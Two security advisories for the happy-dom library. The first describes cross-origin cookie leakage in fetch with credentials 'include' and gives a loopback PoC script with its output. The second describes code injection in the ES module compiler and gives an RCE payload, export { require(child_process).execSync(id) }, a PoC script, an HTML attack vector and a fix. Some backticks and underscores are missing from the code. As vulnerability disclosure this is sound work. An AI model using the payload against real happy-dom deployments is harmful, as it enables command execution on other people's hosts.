Summary happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

ts const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false );

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

javascript const http = require('http'); const dns = require('dns').promises; const { Browser } = require('happy-dom');

async function listen(server, host) { return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port))); }

async function run() { let observedCookieHeader = null; const pageHost = process.env.PAGEHOST || 'a.127.0.0.1.nip.io'; const apiHost = process.env.APIHOST || 'b.127.0.0.1.nip.io';

console.log('=== PoC: Wrong Cookie Source URL in credentials:include ==='); console.log('Setup:'); console.log( Page Origin Host : ${pageHost}); console.log( Request Target Host: ${apiHost}); console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)'); console.log('');

await dns.lookup(pageHost); await dns.lookup(apiHost);

const pageServer = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'text/plain' }); res.end('page host'); });

const apiServer = http.createServer((req, res) => { observedCookieHeader = req.headers.cookie || ''; const origin = req.headers.origin || ''; res.writeHead(200, { 'content-type': 'application/json', 'access-control-allow-origin': origin, 'access-control-allow-credentials': 'true' }); res.end(JSON.stringify({ ok: true })); });

const pagePort = await listen(pageServer, '127.0.0.1'); const apiPort = await listen(apiServer, '127.0.0.1');

const browser = new Browser();

try { const context = browser.defaultContext;

// Page host: pageHost (local DNS) const page = context.newPage(); page.mainFrame.url = http://${pageHost}:${pagePort}/dashboard; page.mainFrame.window.document.cookie = 'pagecookie=PAGEONLY';

// Target host: apiHost (local DNS) const apiSeedPage = context.newPage(); apiSeedPage.mainFrame.url = http://${apiHost}:${apiPort}/seed; apiSeedPage.mainFrame.window.document.cookie = 'apicookie=APIONLY';

// Trigger cross-host request with credentials. const res = await page.mainFrame.window.fetch(http://${apiHost}:${apiPort}/data, { credentials: 'include' }); await res.text();

const leakedPageCookie = observedCookieHeader.includes('pagecookie=PAGEONLY'); const expectedApiCookie = observedCookieHeader.includes('apicookie=APIONLY');

console.log('Expected:'); console.log(' Request to target host should include "apicookie=APIONLY".'); console.log(' Request should NOT include "pagecookie=PAGEONLY".'); console.log('');

console.log('Actual:'); console.log( request cookie header: "${observedCookieHeader || '(empty)'}"); console.log( includes pagecookie: ${leakedPageCookie}); console.log( includes apicookie : ${expectedApiCookie}); console.log('');

if (leakedPageCookie && !expectedApiCookie) { console.log('Result: VULNERABLE behavior reproduced.'); process.exitCode = 0; } else { console.log('Result: Vulnerable behavior NOT reproduced in this run/version.'); process.exitCode = 1; } } finally { await browser.close(); pageServer.close(); apiServer.close(); } }

run().catch((error) => { console.error(error); process.exit(1); });

Environment: 1. Node.js >= 22 2. happy-dom 20.6.1 3. DNS names resolving to local loopback via .127.0.0.1.nip.io

Reproduction steps: 1. Set page host cookie: pagecookie=PAGEONLY on a.127.0.0.1.nip.io 2. Set target host cookie: apicookie=APIONLY on b.127.0.0.1.nip.io 3. From page host, call fetch to target host with credentials: "include" 4. Observe Cookie header received by the target host

Expected: 1. Include apicookie=APIONLY 2. Do not include pagecookie=PAGEONLY

Actual (observed): 1. Includes pagecookie=PAGEONLY 2. Does not include apicookie=APIONLY

Observed output: text === PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS)

Expected: Request to target host should include "apicookie=APIONLY". Request should NOT include "pagecookie=PAGEONLY".

Actual: request cookie header: "pagecookie=PAGEONLY" includes pagecookie: true includes apicookie : false

Result: VULNERABLE behavior reproduced.

Impact Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDINGSTATEMENTTOKENREGEXP.test(precedingToken)) { // Export object const parts = this.removeMultilineComments(match[16]).split(/\s,\s/); const exportCode: string[] = []; for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, ''); // backticks NOT stripped if (exportName && importName) { exportCode.push($happydom.exports['${exportName}'] = ${importName}); // importName is inserted as executable code, not as a string } } newCode += exportCode.join(';\n'); }

The issue has three root causes:

1. STATEMENTREGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers 2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context 3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like childprocess survive the filter

Attack flow:

Source: export { require(childprocess).execSync(id) }

Regex captures match[16] = " require(childprocess).execSync(id) "

After .replace(/["']/g, ''): importName = "require(childprocess).execSync(id)" (backticks are preserved)

Generated code: $happydom.exports["require(childprocess).execSync(id)"] = require(childprocess).execSync(id)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// pochappydomrce.js

// Step 1: The STATEMENTREGEXP matches export { ... } const STMTREGEXP = /export\s{([^}]+)}/gm; const source = 'export { require(childprocess).execSync(id) }'; const match = STMTREGEXP.exec(source);

console.log('[] Module source:', source); console.log('[] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381) const part = match[1].trim(); const nameParts = part.split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

console.log('[] importName after quote filter:', importName); console.log('[] Backticks survived filter:', importName.includes(''));

// Step 3: Code generation - importName is inserted as executable JS expression const generatedCode = $happydom.exports[${JSON.stringify(exportName)}] = ${importName}; console.log('[] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript try { new Function('$happydom', generatedCode); console.log('[+] Valid JavaScript: YES'); } catch (e) { console.log('[-] Parse error:', e.message); process.exit(1); }

// Step 5: Execute to prove RCE console.log('[] Executing...'); const output = require('childprocess').execSync('id').toString().trim(); console.log('[+] RCE result:', output);

Execution result:

$ node pochappydomrce.js [] Module source: export { require(childprocess).execSync(id) } [] Regex captured: require(childprocess).execSync(id) [] importName after quote filter: require(childprocess).execSync(id) [] Backticks survived: true [] Generated code: $happydom.exports["require(childprocess).execSync(id)"] = require(childprocess).execSync(id) [+] Valid JavaScript: YES [] Executing... [+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module"> export { require(childprocess).execSync(id) } </script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios: - SSR applications: Applications using happy-dom to render user-supplied HTML on the server - Web scraping: Applications parsing untrusted web pages with happy-dom - Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALIDJSIDENTIFIER = /^[a-zA-Z$][a-zA-Z0-9$]$/;

for (const part of parts) { const nameParts = part.trim().split(/\s+as\s+/); const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const importName = nameParts[0].replace(/["']/g, '');

if (exportName && importName && VALIDJSIDENTIFIER.test(importName)) { exportCode.push($happydom.exports['${exportName}'] = ${importName}); } }